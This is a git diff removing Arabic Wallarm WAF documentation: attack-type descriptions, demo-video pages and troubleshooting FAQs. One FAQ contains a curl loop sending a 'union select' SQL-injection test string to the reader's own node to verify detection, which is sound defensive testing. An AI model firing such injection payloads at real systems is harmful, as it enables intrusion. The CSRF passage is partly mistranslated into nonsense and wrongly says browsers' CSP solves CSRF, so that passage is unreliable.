Wallarm:** `crlf` - -**الوصف:** - -تمثل حقن CRLF مجموعة من الهجمات التي تسمح للمهاجم بحقن حروف العودة إلى البداية (CR) وتغذية السطر Line Feed (LF) في طلب إلى خادم (على سبيل المثال طلب HTTP). - -بالاقتران مع عوامل أخرى، يمكن أن تساعد حقن حروف CR/LF هذه على استغلال مجموعة متنوعة من الثغرات الأمنية (مثل تقسيم الرد HTTP [CWE-113][cwe-113]، تهريب الرد HTTP [CWE-444][cwe-444]). - -يمكن أن يؤدي هجوم حقن CRLF الناجح إلى منح المهاجم القدرة على تجاوز الجدران النارية، وتنفيذ تسميم الذاكرة المؤقتة، واستبدال صفحات الويب الشرعية بأخرى خبيثة، وتنفيذ هجوم "Open redirect"، والكثير من الأعمال الأخرى. - -تتحقق هذه الثغرة الأمنية بسبب تحقق غير صحيح من مدخلات المستخدم وتحليلها. - -**بالإضافة إلى حماية Wallarm:** - -* نقِّ الإدخال وفعّلها وقم بتنقيته لكي لا تتنفذ كود الإدخال. - -## عبر الرسم طلب التزوير (CSRF) - -**ثغرة أمنية** - -**كود CWE:** [CWE-352][cwe-352] - -**كود Wallarm:** `csrf` - -**الوصف:** - -هجوم تزوير الطلب عبر الرسم مكتبة (تبرعات على البنك التجاري آلي (ATM)) يحدث عندما يقوم هجوم يجبر المستخدم على تنفيذ الإجراءات الغير مرغوب فيها على تطبيق ويب تم تصديقه حالياً. مع قليل من المساعدة من الهندسة الاجتماعية (مثل إرسال رابط عبر البريد الإلكتروني أو الدردشة)، يمكن للمهاجم أن يخدع المستخدمين في تطبيق الويب من تنفيذ الإجراءات التي اختارها المهاجم. - -تحدث الثغرة الأمنية المقابلة نظرًا لأن متصفح المستخدم يضيف تلقائيًا ملفات تعريف الارتباط لجلسة المستخدم التي يتم تعيينها لاسم المجال الهدف أثناء تنفيذ الطلب عبر الرسم. لمعظم المواقع، تشمل هذه الملفات تعريف الارتباط الاعتمادات المرتبطة بالموقع. لذا، إذا كان المستخدم مصادقًا حاليًا على الموقع، فلن يكون للموقع طريقة للتمييز بين الطلب المزور الذي يرسله الضحية وطلب مشروع يرسله الضحية. - -لاحظع أن Wallarm فقط تكتشف ثغرات CSRF الأمنية، ولكنها لا تكتشف وبالتالي لا تحظر هجمات CSRF. يتم حل مشكلة CSRF في كل المتصفحات الحديثة عبر سياسات الأمان للمحتوى (CSP). - -**الحماية:** - -تتم حل CSRF بواسطة المتصفحات، والوسائل الأخرى للحماية أقل فائدة ولكن يمكن استخدامها لا يزال: - -* تأكيد الحماية ضد CSRF، مثل رموز CSRF وغيرها. -* ضبط سمة الكعكة `SameSite`. -* طبق التوصيات من [تزييف معرف لكائن OWASP CSRF Prevention Cheat Sheet][link-owasp-csrf-cheatsheet]. - -## diff --git a/docs/latest-ar/demo-videos/api-abuse-prevention.md b/docs/latest-ar/demo-videos/api-abuse-prevention.md deleted file mode 100644 index 9beb2ea4c7..0000000000 --- a/docs/latest-ar/demo-videos/api-abuse-prevention.md +++ /dev/null @@ -1,12 +0,0 @@ -# نظرة عامة على منع إساءة استخدام واجهة برمجة التطبيقات - -شاهد الفيديو التوضيحي لتتعرف على أنواع البوتات المختلفة التي يمكن لمنصة Wallarm حماية تطبيقاتك منها من خلال وحدة [**منع إساءة استخدام واجهة برمجة التطبيقات**](../api-abuse-prevention/overview.md)،وكي تفهم إمكاناتها لمنع إساءة استخدام واجهة برمجة التطبيقات بواسطة البوتات. - -
      - -
      - -**مقالات الوثائق ذات الصلة** - -* [نظرة عامة على منع إساءة استخدام واجهة برمجة التطبيقات](../api-abuse-prevention/overview.md) -* [دليل المستخدم لمنع إساءة استخدام واجهة برمجة التطبيقات](../api-abuse-prevention/setup.md) \ No newline at end of file diff --git a/docs/latest-ar/demo-videos/api-discovery.md b/docs/latest-ar/demo-videos/api-discovery.md deleted file mode 100644 index 3f8b37a18b..0000000000 --- a/docs/latest-ar/demo-videos/api-discovery.md +++ /dev/null @@ -1,12 +0,0 @@ -# نظرة عامة على اكتشاف API - -شاهد فيديو العرض التوضيحي لدينا لاكتشاف الإمكانيات الكاملة لوحدة [**اكتشاف API**](../api-discovery/overview.md) ضمن منصة Wallarm. تعرف على جرد API الذي يتم بناؤه بناءً على استخدام API الفعلي وتعلم كيفية استغلال المعلومات المقدمة. - -
      - -
      - -**مقالات الوثائق ذات الصلة** - -* [نظرة عامة على اكتشاف API](../api-discovery/overview.md) -* [اكتشاف API - استكشاف الجرد المبني لـ API](../api-discovery/exploring.md) \ No newline at end of file diff --git a/docs/latest-ar/demo-videos/api-leaks.md b/docs/latest-ar/demo-videos/api-leaks.md deleted file mode 100644 index 8f3bfd438a..0000000000 --- a/docs/latest-ar/demo-videos/api-leaks.md +++ /dev/null @@ -1,11 +0,0 @@ -# نظرة عامة على تسريبات API - -شاهد فيديو العرض التوضيحي لتتعرف على أنواع تسريبات API المختلفة التي يكتشفها وحدة [**تسريبات API**](../api-attack-surface/security-issues.md) في منصة Wallarm،وكيف يمكنها تصحيح أي تسريبات مكتشفة. - -
      - -
      - -**مقالات الوثائق ذات الصلة** - -* [تسريبات API](../api-attack-surface/security-issues.md) \ No newline at end of file diff --git a/docs/latest-ar/demo-videos/events-inspection.md b/docs/latest-ar/demo-videos/events-inspection.md deleted file mode 100644 index 7254a7cc40..0000000000 --- a/docs/latest-ar/demo-videos/events-inspection.md +++ /dev/null @@ -1,11 +0,0 @@ -# تحليل الثغرات الأمنية CVEs والهجمات ذات الصلة - -شاهد فيديو العرض التوضيحي لدينا للتعرف على لوحة معلومات [**CVEs**](../user-guides/dashboards/threat-prevention.md#cves) في منصة Wallarm وكيفية استخدام هذه اللوحة مع قسم [**الهجمات**](../user-guides/events/check-attack.md) لتحليل الأحداث المرتبطة بثغرات CVEs بشكل محدد. - -
      - -
      - -**الوثائق المرتبطة** - -* [لوحة معلومات الوقاية من التهديدات](../user-guides/dashboards/threat-prevention.md#cves) \ No newline at end of file diff --git a/docs/latest-ar/demo-videos/overview.md b/docs/latest-ar/demo-videos/overview.md deleted file mode 100644 index c0b677045e..0000000000 --- a/docs/latest-ar/demo-videos/overview.md +++ /dev/null @@ -1,28 +0,0 @@ -# إعدادات منصة Wallarm - - - -شاهد فيديو العرض التوضيحي لاكتشاف الإعدادات العامة المتاحة في وحدة التحكم Wallarm، مثل [إدارة المستخدمين](../user-guides/settings/users.md)، إعداد [وضع التصفية](../admin-en/configure-wallarm-mode.md#setting-up-the-general-filtration-rule-in-wallarm-console) للعقدة، إدارة [خطة الاشتراك](../about-wallarm/subscription-plans.md)، [تكوين التطبيق](../user-guides/settings/applications.md)، و[سجل النشاط](../user-guides/settings/audit-log.md). - -
      - -
      \ No newline at end of file diff --git a/docs/latest-ar/demo-videos/shadow-api.md b/docs/latest-ar/demo-videos/shadow-api.md deleted file mode 100644 index 167b4bf643..0000000000 --- a/docs/latest-ar/demo-videos/shadow-api.md +++ /dev/null @@ -1,11 +0,0 @@ -# كشف واجهات برمجة التطبيقات الظلية واليتيمة - -شاهدوا فيديو العرض التوضيحي لدينا لتتعرفوا على كيفية الكشف عن [نقاط النهاية الظلية واليتيمة](../api-discovery/overview.md#shadow-orphan-and-zombie-apis) في واجهة برمجة التطبيقات الخاصة بكم باستخدام Wallarm. - -
      - -
      - -**المقالات المتعلقة بالتوثيق** - -* [كشف واجهات برمجة التطبيقات العدائية](../api-discovery/overview.md#shadow-orphan-and-zombie-apis) باستخدام وحدة **استكشاف واجهة برمجة التطبيقات** \ No newline at end of file diff --git a/docs/latest-ar/faq/attacks-not-uploaded-to-cloud.md b/docs/latest-ar/faq/attacks-not-uploaded-to-cloud.md deleted file mode 100644 index 3c5f5ce622..0000000000 --- a/docs/latest-ar/faq/attacks-not-uploaded-to-cloud.md +++ /dev/null @@ -1,109 +0,0 @@ -# الهجمات لا يتم تحميلها إلى سحابة Wallarm - -إذا كنت تشك في أن الهجمات الصادرة عن حركة المرور لا يتم تحميلها إلى سحابة Wallarm ونتيجة لذلك، لا تظهر في واجهة مستخدم Wallarm Console، استخدم هذه المقالة لتصحيح هذه المشكلة. - -لتصحيح المشكلة، قم بتنفيذ الخطوات التالية تباعًا: - -1. توليد حركة مرور ضارة للمساعدة في تصحيح المشكلة لاحقًا. -1. التحقق من وضع تشغيل عقدة التصفية. -1. التأكد من أن Tarantool لديها ما يكفي من الموارد لمعالجة الطلبات. -1. التقاط السجلات ومشاركتها مع فريق دعم Wallarm. - -## 1. توليد حركة مرور ضارة - -لمزيد من تصحيح مشكلات وحدات Wallarm: - -1. إرسال حركة مرور ضارة تالية: - - ```bash - for i in `seq 100`; do curl "http:///?wallarm_test_xxxx=union+select+$i"; sleep 1; done - ``` - - استبدل `` بعنوان IP لعقدة التصفية التي تريد التحقق منها. إذا لزم الأمر، أضف رأس `Host:` إلى الأمر. -1. انتظر حتى دقيقتين حتى تظهر الهجمات في Wallarm Console → **الهجمات**. إذا ظهرت جميع الـ100 طلب، تُعتبر عقدة التصفية تعمل بشكل جيد. -1. الاتصال بالخادم الذي تم تثبيت عقدة التصفية عليه والحصول على [مقاييس العقدة](../admin-en/configure-statistics-service.md): - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - سنشير لاحقًا إلى مخرجات `wallarm-status`. - -## 2. التحقق من وضع تشغيل عقدة التصفية - -تحقق من وضع تشغيل عقدة التصفية كما يلي: - -1. التأكد من أن [وضع](../admin-en/configure-wallarm-mode.md) عقدة التصفية مختلف عن `off`. العقدة لا تعالج حركة المرور الواردة في وضع `off`. - - وضع `off` هو سبب شائع لعدم زيادة مقاييس `wallarm-status`. -1. إعادة تشغيل NGINX للتأكد من تطبيق إعدادات عقدة Wallarm (إذا تم تثبيت العقدة من حزم DEB/RPM): - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" -1. [توليد](#1-generate-some-malicious-traffic) حركة مرور ضارة مرة أخرى للتأكد من أن الهجمات لا تزال غير محملة إلى السحابة. - -## 3. التأكد من أن Tarantool لديها ما يكفي من الموارد لمعالجة الطلبات - -تشير المقاييس الأساسية التالية لـ Tarantool إلى مشاكل مرتبطة بتصدير الهجمات: - -* `wallarm.stat.export_delay` هو تأخير في تحميل الهجمات إلى سحابة Wallarm (بالثواني) -* `wallarm.stat.timeframe_size` هو الفترة الزمنية التي يخزن فيها Tarantool الطلبات (بالثواني) -* `wallarm.stat.dropped_before_export` هو عدد الطلبات التي لم يكن لديها ما يكفي من الوقت ليتم تحميلها إلى سحابة Wallarm - -لعرض المقاييس: - -1. الاتصال بالخادم الذي تم تثبيت وحدة postanalytics (Tarantool) عليه. -1. تنفيذ الأوامر التالية: - - ```bash - wtarantool - require('console').connect('127.0.0.1:3313') - wallarm.stat.export_delay() - wallarm.stat.timeframe_size() - wallarm.stat.dropped_before_export() - ``` - -إذا كانت قيمة `wallarm.stat.dropped_before_export` مختلفة عن `0`: - -* [زيادة](../admin-en/configuration-guides/allocate-resources-for-node.md#tarantool) كمية الذاكرة المخصصة لـ Tarantool (إذا كانت `wallarm.stat.timeframe_size` أقل من 10 دقائق). - - !!! info "الذاكرة الموصى بها" - يوصى بضبط الذاكرة المخصصة لـ Tarantool بحيث لا تنخفض مقياس `wallarm.stat.timeframe_size` أقل من `300` ثانية خلال الأحمال الذروة. - -* زيادة عدد معالجات `export_attacks` في `/etc/wallarm/node.yaml` → `export_attacks` (`/opt/wallarm/etc/wallarm/node.yaml` → `export_attacks` لصورة Docker المبنية على NGINX، صور السحابة والمثبت الشامل)، مثلاً: - - ```yaml - export_attacks: - threads: 5 - api_chunk: 20 - ``` - - إعدادات `export_attacks` بشكل افتراضي هي: - - * `threads: 2` - * `api_chunk: 10` - -## 4. التقاط السجلات ومشاركتها مع فريق دعم Wallarm - -إذا لم تساعد الخطوات المذكورة أعلاه في حل المشكلة، يُرجى التقاط سجلات العقدة ومشاركتها مع فريق دعم Wallarm على النحو التالي: - -1. الاتصال بالخادم الذي تم تثبيت عقدة Wallarm عليه. -1. الحصول على مخرجات `wallarm-status` كما يلي: - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - نسخ المخرجات. -1. تشغيل سكربت تشخيص Wallarm: - - === "المثبت الشامل، صورة AMI أو GCP، صورة Docker المبنية على NGINX" - ```bash - sudo /opt/wallarm/usr/share/wallarm-common/collect-info.sh - ``` - === "خيارات نشر أخرى" - ```bash - sudo /usr/share/wallarm-common/collect-info.sh - ``` - - الحصول على الملف المُنتج مع السجلات. -1. إرسال جميع البيانات المجمعة إلى [فريق دعم Wallarm](mailto:support@wallarm.com) للتحقيق فيها بشكل أكبر. diff --git a/docs/latest-ar/faq/common-errors-after-installation.md b/docs/latest-ar/faq/common-errors-after-installation.md deleted file mode 100644 index b34cbb3b92..0000000000 --- a/docs/latest-ar/faq/common-errors-after-installation.md +++ /dev/null @@ -1,109 +0,0 @@ -# أخطاء بعد تثبيت عقدة Wallarm - -إذا واجهت بعض الأخطاء بعد تثبيت عقدة Wallarm، فتحقق من هذا الدليل لاستكشاف الأخطاء وإصلاحها. إذا لم تجد التفاصيل ذات الصلة هنا، يرجى التواصل مع [الدعم الفني لـWallarm](mailto:support@wallarm.com). - -## فشل سيناريوهات تنزيل الملفات - -إذا فشلت سيناريوهات تنزيل الملفات الخاصة بك بعد تثبيت عقدة الفلترة، فالمشكلة تكمن في تجاوز حجم الطلب للحد المحدد في التوجيه `client_max_body_size` في ملف تكوين Wallarm. - -غيّر القيمة في `client_max_body_size` في التوجيه `location` للعنوان الذي يقبل تحميلات الملفات. تغيير قيمة `location` فقط يحمي الصفحة الرئيسية من استقبال طلبات كبيرة. - -غيّر القيمة في `client_max_body_size`: - -1. افتح ملف التكوين للتحرير في مجلد `/etc/nginx-wallarm`. -2. أدخل القيمة الجديدة: - - ``` - location /file/upload { - client_max_body_size 16m; - } - ``` - - * `/file/upload` هو العنوان الذي يقبل تحميلات الملفات. - -وصف تفصيلي للتوجيه متاح في [الوثائق الرسمية لـNGINX](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size). - -## كيفية إصلاح أخطاء "لم يتم التحقق من توقيع wallarm-node"، "yum لا يملك بيانات مخزنة كافية للاستمرار"، "لم يتم التحقق من التوقيعات"؟ - -إذا انتهت صلاحية مفاتيح GPG لحزم Wallarm RPM أو DEB، قد تظهر لك رسائل الخطأ التالية: - -``` -https://repo.wallarm.com/centos/wallarm-node/7/3.6/x86_64/repodata/repomd.xml: -[Errno -1] repomd.xml signature could not be verified for wallarm-node_3.6 - -واحد من المستودعات المكونة فشل (عقدة Wallarm لـ CentOS 7 - 3.6)، -وyum لا يملك بيانات مخزنة كافية للاستمرار. - -W: GPG error: https://repo.wallarm.com/ubuntu/wallarm-node focal/3.6/ Release: التوقيعات التالية -لم يتم التحقق منها لأن المفتاح العام غير متاح: NO_PUBKEY 1111FQQW999 -E: المستودع 'https://repo.wallarm.com/ubuntu/wallarm-node focal/3.6/ Release' غير موقع. -N: التحديث من مستودع كهذا لا يمكن أن يتم بأمان، ولذلك تم تعطيله بشكل افتراضي. -N: راجع صفحة الرجل apt-secure(8) لتفاصيل إنشاء المستودع وتكوين المستخدم. -``` - -لإصلاح المشكلة على **Debian أو Ubuntu**، يرجى اتباع الخطوات: - -1. قم باستيراد مفاتيح GPG الجديدة لحزم Wallarm: - - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - ``` -2. قم بتحديث حزم Wallarm: - - ```bash - sudo apt update - ``` - -لإصلاح المشكلة على **CentOS**، يرجى اتباع الخطوات: - -1. أزل المستودع المضاف مسبقًا: - - ```bash - sudo yum remove wallarm-node-repo - ``` -2. نظف الذاكرة المخبأة: - - ```bash - sudo yum clean all - ``` -3. أضف مستودعًا جديدًا باستخدام الأمر لإصدارات CentOS وعقدة Wallarm المناسبة: - - === "CentOS 7.x أو Amazon Linux 2.0.2021x وأقل" - ```bash - - # العقدة الفلترة ووحدة تحليلات ما بعد العملية للإصدار 4.4 - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.4/x86_64/wallarm-node-repo-4.4-0.el7.noarch.rpm - - # العقدة الفلترة ووحدة تحليلات ما بعد العملية للإصدار 4.6 - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.6/x86_64/wallarm-node-repo-4.6-0.el7.noarch.rpm - - # العقدة الفلترة ووحدة تحليلات ما بعد العملية للإصدار 4.8 - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` - === "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - - # العقدة الفلترة ووحدة تحليلات ما بعد العملية للإصدار 4.4 - - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.4/x86_64/wallarm-node-repo-4.4-0.el8.noarch.rpm - - # العقدة الفلترة ووحدة تحليلات ما بعد العملية للإصدار 4.6 - - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.6/x86_64/wallarm-node-repo-4.6-0.el8.noarch.rpm - - # العقدة الفلترة ووحدة تحليلات ما بعد العملية للإصدار 4.8 - - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -4. إذا لزم الأمر، قم بتأكيد العملية. - -## لماذا لا تقوم العقدة الفلترة بحظر الهجمات عند العمل في وضع الحظر (`wallarm_mode block`)؟ - -استخدام التوجيه `wallarm_mode` هو واحد فقط من عدة طرق لتكوين وضع فلترة حركة المرور. بعض هذه الطرق لها أولوية أعلى من قيمة التوجيه `wallarm_mode`. - -إذا قمت بتهيئة وضع الحظر عبر `wallarm_mode block` لكن عقدة فلترة Wallarm لا تحظر الهجمات، يرجى التأكد من أن وضع الفلترة لم يتم تجاوزه باستخدام طرق تكوين أخرى: - -* باستخدام [قاعدة **ضبط وضع الفلترة**](../admin-en/configure-wallarm-mode.md#setting-up-endpoint-targeted-filtration-rules-in-wallarm-console) -* في [قسم **العامة** من وحدة تحكم Wallarm](../admin-en/configure-wallarm-mode.md#setting-up-the-general-filtration-rule-in-wallarm-console) - -[المزيد عن طرق تهيئة وضع الفلترة ←](../admin-en/configure-parameters-en.md) \ No newline at end of file diff --git a/docs/latest-ar/faq/cpu.md b/docs/latest-ar/faq/cpu.md deleted file mode 100644 index 691ddbb8f6..0000000000 --- a/docs/latest-ar/faq/cpu.md +++ /dev/null @@ -1,58 +0,0 @@ -# تحرّي ومعالجة استهلاك الوحدة المركزية المرتفع - -يُنصح بأن يكون استهلاك وحدة المعالجة المركزية بواسطة Wallarm حوالي 10-15%، مما يعني أن عقد التصفية ستكون قادرة على التعامل مع زيادة في حجم المرور بمقدار 10 أضعاف. إذا كانت عقدة Wallarm تستهلك وحدة معالجة مركزية أكثر مما كان متوقعًا وكنت بحاجة إلى خفض استهلاك وحدة المعالجة المركزية، استخدم هذا الدليل. - -لكشف الحلقات الأطول في معالجة الطلبات وبالتالي العناصر الرئيسية المستهلكة لوحدة المعالجة المركزية، يمكنك [تمكين التسجيل الموسع](../admin-en/configure-logging.md#configuring-extended-logging-for-the-nginx‑based-filter-node) ومراقبة وقت المعالجة. - -يمكنك القيام بما يلي لخفض حمل وحدة المعالجة المركزية بواسطة Wallarm: - -* إضافة [`limit_req`](http://nginx.org/en/docs/http/ngx_http_limit_req_module.html) إلى تكوين NGINX أو ابتداءً من العقدة 4.6 استخدم وظائف [تحديد المعدل](../user-guides/rules/rate-limiting.md) الخاصة بـ Wallarm. قد تكون هذه أفضل طريقة لتقليل حمل وحدة المعالجة المركزية في حالة الهجمات القوية والهجمات الأخرى. - - ??? info "مثال التكوين - باستخدام `limit_req`" - - ```bash - http { - map $request_uri $binary_remote_addr_map { - ~^/get $binary_remote_addr; - ~^/post $binary_remote_addr; - ~^/wp-login.php $binary_remote_addr; - } - limit_req_zone $binary_remote_addr_map zone=urls:10m rate=3r/s; - limit_req_zone $binary_remote_addr$request_uri zone=allurl:10m rate=5r/s; - - limit_req_status 444; - - server { - location { - limit_req zone=urls nodelay; - limit_req zone=allurl burst=30; - } - } - } - ``` - -* التأكد من تخصيص كمية الذاكرة المناسبة [للتخصيص](../admin-en/configuration-guides/allocate-resources-for-node.md) لـ NGINX وTarantool. -* التأكد من تعيين توجيه [`wallarm_acl_access_phase`](../admin-en/configure-parameters-en.md#wallarm_acl_access_phase) إلى `on` والذي يقوم بحظر أي طلبات من عناوين IP المدرجة في القائمة السوداء في أي وضع تصفية دون البحث عن علامات الهجوم في هذه الطلبات. بالإضافة إلى تمكين التوجيه، تحقق من [قوائم IP](../user-guides/ip-lists/overview.md) في Wallarm للعثور على عناوين IP التي أُضيفت عن طريق الخطأ إلى **القائمة البيضاء** أو المواقع التي لم تُضف عن طريق الخطأ إلى **القائمة السوداء**. - - لاحظ أن هذه الطريقة لخفض استهلاك وحدة المعالجة المركزية قد تؤدي إلى تخطي طلبات من محركات البحث. ومع ذلك، يمكن أيضًا حل هذه المشكلة من خلال استخدام وحدة `map` في تكوين NGINX. - - ??? info "مثال التكوين - `map` module لحل مشكلة محركات البحث" - - ```bash - http { - wallarm_acl_access_phase on; - map $http_user_agent $wallarm_mode{ - default monitoring; - ~*(google|bing|yandex|msnbot) off; - } - server { - server_name mos.ru; - wallarm_mode $wallarm_mode; - } - } - ``` - -* تعطيل [libdetection](../about-wallarm/protecting-against-attacks.md#libdetection-overview) (مُمكن بشكل افتراضي بدءًا من إصدار العقدة 4.4) عبر `wallarm_enable_libdetection off`. يؤدي استخدام libdetection إلى زيادة استهلاك وحدة المعالجة المركزية بنسبة 5-10%. ومع ذلك، يجب الأخذ في الاعتبار أن تعطيل libdetection قد يؤدي إلى زيادة في عدد النتائج الإيجابية الكاذبة لاكتشاف هجمات SQLi. -* إذا كشفت خلال تحليل الهجمات المكتشفة أن Wallarm يستخدم بطريقة خاطئة بعض المحللات [في القواعد](../user-guides/rules/request-processing.md#managing-parsers) أو [عبر تكوين NGINX](../admin-en/configure-parameters-en.md#wallarm_parser_disable) لعناصر معينة في الطلبات، عطل هذه المحللات لما لا تنطبق عليه. لاحظ، ومع ذلك، أن تعطيل المحللات بشكل عام لا يُنصح به أبدًا. -* [تخفيض وقت معالجة الطلب](../user-guides/rules/configure-overlimit-res-detection.md). لاحظ أنه بفعل ذلك قد تمنع الطلبات المشروعة من الوصول إلى الخادم. -* تحليل الأهداف المحتملة لـ [DDoS](../admin-en/configuration-guides/protecting-against-ddos.md) وتطبيق إحدى [إجراءات الحماية](../admin-en/configuration-guides/protecting-against-ddos.md#l7-ddos-protection-with-wallarm) المتاحة. \ No newline at end of file diff --git a/docs/latest-ar/faq/ingress-installation.md b/docs/latest-ar/faq/ingress-installation.md deleted file mode 100644 index 9c718abd1b..0000000000 --- a/docs/latest-ar/faq/ingress-installation.md +++ /dev/null @@ -1,24 +0,0 @@ -# تثبيت وحدة تحكم دخول Wallarm المبنية على NGINX - -تسرد هذه الدليل للتوجيه الخطوات العامة للمشكلات التي قد تواجهها أثناء [نشر وحدة تحكم دخول Wallarm المبنية على NGINX](../admin-en/installation-kubernetes-en.md). إذا لم تجد التفاصيل ذات الصلة هنا، يُرجى التواصل مع [دعم Wallarm التقني](mailto:support@wallarm.com). - -## كيف يمكن التحقق من عناوين IP للعملاء التي تقوم وحدة تحكم الدخول باكتشافها/استخدامها؟ - -* اطلع على سجل حاوية وحدة التحكم وابحث عن سجلات الطلبات التي تم التعامل معها. في تنسيق السجل الافتراضي، الحقل الأول المُبلغ عنه هو عنوان IP للعميل المكتشف. `25.229.38.234` هو عنوان IP المكتشف في المثال أدناه: -``` -[wallarm-ingress-nginx-ingress-controller-775cf75564-6jlt9 nginx-ingress-controller] 25.229.38.234 - - [14/Mar/2020:23:55:11 +0000] "GET /ping HTTP/1.1" 200 893 "-" "curl/7.64.1" 172 0.020 [default-sise-80] [] 172.17.0.5:8080 893 0.020 200 d8402076753798d3b065269c16d4b34f -``` - -* اذهب إلى وحدة تحكم Wallarm الخاصة بك للسحابة [الأمريكية](https://us1.my.wallarm.com) أو للسحابة [الأوروبية](https://my.wallarm.com) → قسم **الهجمات** وتوسع تفاصيل الطلب. يتم عرض عنوان IP في حقل *المصدر*. على سبيل المثال: - - ![عنوان IP الذي تم إرسال الطلب منه](../images/request-ip-address.png) - - إذا كانت قائمة الهجمات فارغة، يمكنك إرسال [هجوم اختبار](../admin-en/installation-check-operation-en.md#2-run-a-test-attack) إلى التطبيق المحمي بواسطة وحدة تحكم دخول Wallarm. - -## كيف يمكن التحقق من استقبال وحدة تحكم الدخول لرأس الطلب X-FORWARDED-FOR؟ - -يرجى الذهاب إلى وحدة تحكم Wallarm للسحابة [الأمريكية](https://us1.my.wallarm.com) أو للسحابة [الأوروبية](https://my.wallarm.com) → قسم **الهجمات** وتوسيع تفاصيل الطلب. في تفاصيل الطلب المعروضة، انتبه إلى رأس `X-FORWARDED-FOR`. على سبيل المثال: - -![رأس X-FORWARDED-FOR للطلب](../images/x-forwarded-for-header.png) - -إذا كانت قائمة الهجمات فارغة، يمكنك إرسال [هجوم اختبار](../admin-en/installation-check-operation-en.md#2-run-a-test-attack) إلى التطبيق المحمي بواسطة وحدة تحكم دخول Wallarm. \ No newline at end of file diff --git a/docs/latest-ar/faq/nginx-compatibility.md b/docs/latest-ar/faq/nginx-compatibility.md deleted file mode 100644 index cc62e237fd..0000000000 --- a/docs/latest-ar/faq/nginx-compatibility.md +++ /dev/null @@ -1,29 +0,0 @@ -# التوافق بين عقدة تصفية Wallarm وإصدارات NGINX - -إذا كانت النسخة المثبتة من NGINX في بيئتك مختلفة عن النسخة المستقرة، Plus أوالمثبتة من مستودعات Debian/CentOS، تعلم كيفية تثبيت Wallarm من هذا المستند. - -## هل عقدة تصفية Wallarm متوافقة مع النسخة الرئيسية من NGINX؟ - -لا، عقدة تصفية Wallarm غير متوافقة مع النسخة `الرئيسية` من NGINX. يمكنك تثبيت عقدة Wallarm بالطرق التالية: - -* الاتصال بالنسخة الرسمية المفتوحة المصدر NGINX `المستقرة` اتباعًا لهذه [التعليمات](../installation/nginx/dynamic-module.md) -* الاتصال بـ NGINX المثبت من مستودعات Debian/CentOS اتباعًا لهذه [التعليمات](../installation/nginx/dynamic-module-from-distr.md) -* الاتصال بـ NGINX Plus الرسمي التجاري اتباعًا لهذه [التعليمات](../installation/nginx-plus.md) - -## هل عقدة تصفية Wallarm متوافقة مع البناء المخصص من NGINX؟ - -نعم، يمكن ربط وحدة Wallarm بالبناء المخصص من NGINX بعد إعادة بناء حزم Wallarm. لإعادة بناء الحزم، الرجاء الاتصال بفريق الدعم الفني لـ Wallarm عبر [support@wallarm.com](mailto:support@wallarm.com) وإرسال البيانات التالية: - -* إصدار نواة Linux: `uname -a` -* توزيع Linux: `cat /etc/*release` -* إصدار NGINX: - - * [البناء الرسمي لـ NGINX](https://nginx.org/en/linux_packages.html): `/usr/sbin/nginx -V` - * بناء NGINX المخصص: `<مسار إلى nginx>/nginx -V` - -* توقيع التوافق: - - * [البناء الرسمي لـ NGINX](https://nginx.org/en/linux_packages.html): `egrep -ao '.,.,.,[01]{33}' /usr/sbin/nginx` - * بناء NGINX المخصص: `egrep -ao '.,.,.,[01]{33}' <مسار إلى nginx>/nginx` - -* المستخدم (ومجموعته) الذي يُشغل عمليات العامل في NGINX: `grep -w 'user' <مسار-إلى-ملفات-تكوين-NGINX/nginx.conf>` \ No newline at end of file diff --git a/docs/latest-ar/faq/node-issues-on-owasp-dashboards.md b/docs/latest-ar/faq/node-issues-on-owasp-dashboards.md deleted file mode 100644 index b48ed27cb4..0000000000 --- a/docs/latest-ar/faq/node-issues-on-owasp-dashboards.md +++ /dev/null @@ -1,17 +0,0 @@ -# معالجة مشكلات عقد Wallarm المُنبهة من لوحات تحكم OWASP - -عندما لا تُحدّث عقد Wallarm أو تواجه مشكلات في التزامن مع السحابة، تظهر رسائل الخطأ على [لوحات تحكم OWASP](../user-guides/dashboards/owasp-api-top-ten.md) مشيرة إلى مشاكل قد تؤثر على أمان البنية التحتية. هذا المقال يصف كيفية معالجة هذه المشكلات. - -قد تفتقر العقد القديمة إلى تحديثات الأمان المهمة، مما يسمح للحركة الخبيثة بتجاوز الدفاعات. ويمكن أن تعطل مشكلات التزامن وظائف العقد، مما يمنعها من استقبال سياسات الأمان الحيوية من السحابة. ترتبط هذه المشكلات أساسًا بتهديد ** OWASP API7 (تكوين الأمان الخاطئ)**، حيث يمكن أن يجعل افتقار حل الأمان في أي جزء من مكدس التطبيق النظام عرضة للخطر. لمنع هذا، تنبهك لوحة التحكم إلى مشكلات تشغيل العقد، على سبيل المثال: - -![لوحة تحكم OWASP بمشكلات العقد](../images/user-guides/dashboard/owasp-dashboard-node-issues.png) - -للحفاظ على بيئة آمنة، من الضروري تحديث عقد Wallarm بانتظام ومعالجة مشكلات التزامن. إليك تعليمات حول كيفية التعامل مع رسائل الخطأ: - -1. إذا كانت نسخة عقدة Wallarm [عند أو تقترب من نهاية دورة حياتها](../updating-migrating/versioning-policy.md#version-list)، يُنصح بترقية العقدة إلى أحدث إصدار. -1. إذا واجهت مشاكل مع التزامن مع سحابة Wallarm، تأكد من صحة [الإعدادات المقابلة](../admin-en/configure-cloud-node-synchronization-en.md). - -إذا كنت بحاجة إلى المساعدة في حل مشكلات التزامن أو أي مشكلات أخرى أو لأي طلبات أخرى، يمكنك طلب المساعدة من [فريق دعم Wallarm](mailto:support@wallarm.com). قدم لهم ال[سجلات](../admin-en/configure-logging.md) التالية للتحليل: - -* سجلات من `/var/log/wallarm/syncnode.log` أو `/opt/wallarm/var/log/wallarm/syncnode-out.log` [حسب طريقة تثبيت العقدة](../admin-en/configure-logging.md) لفحص أي مشكلات مع سكريبت `syncnode` 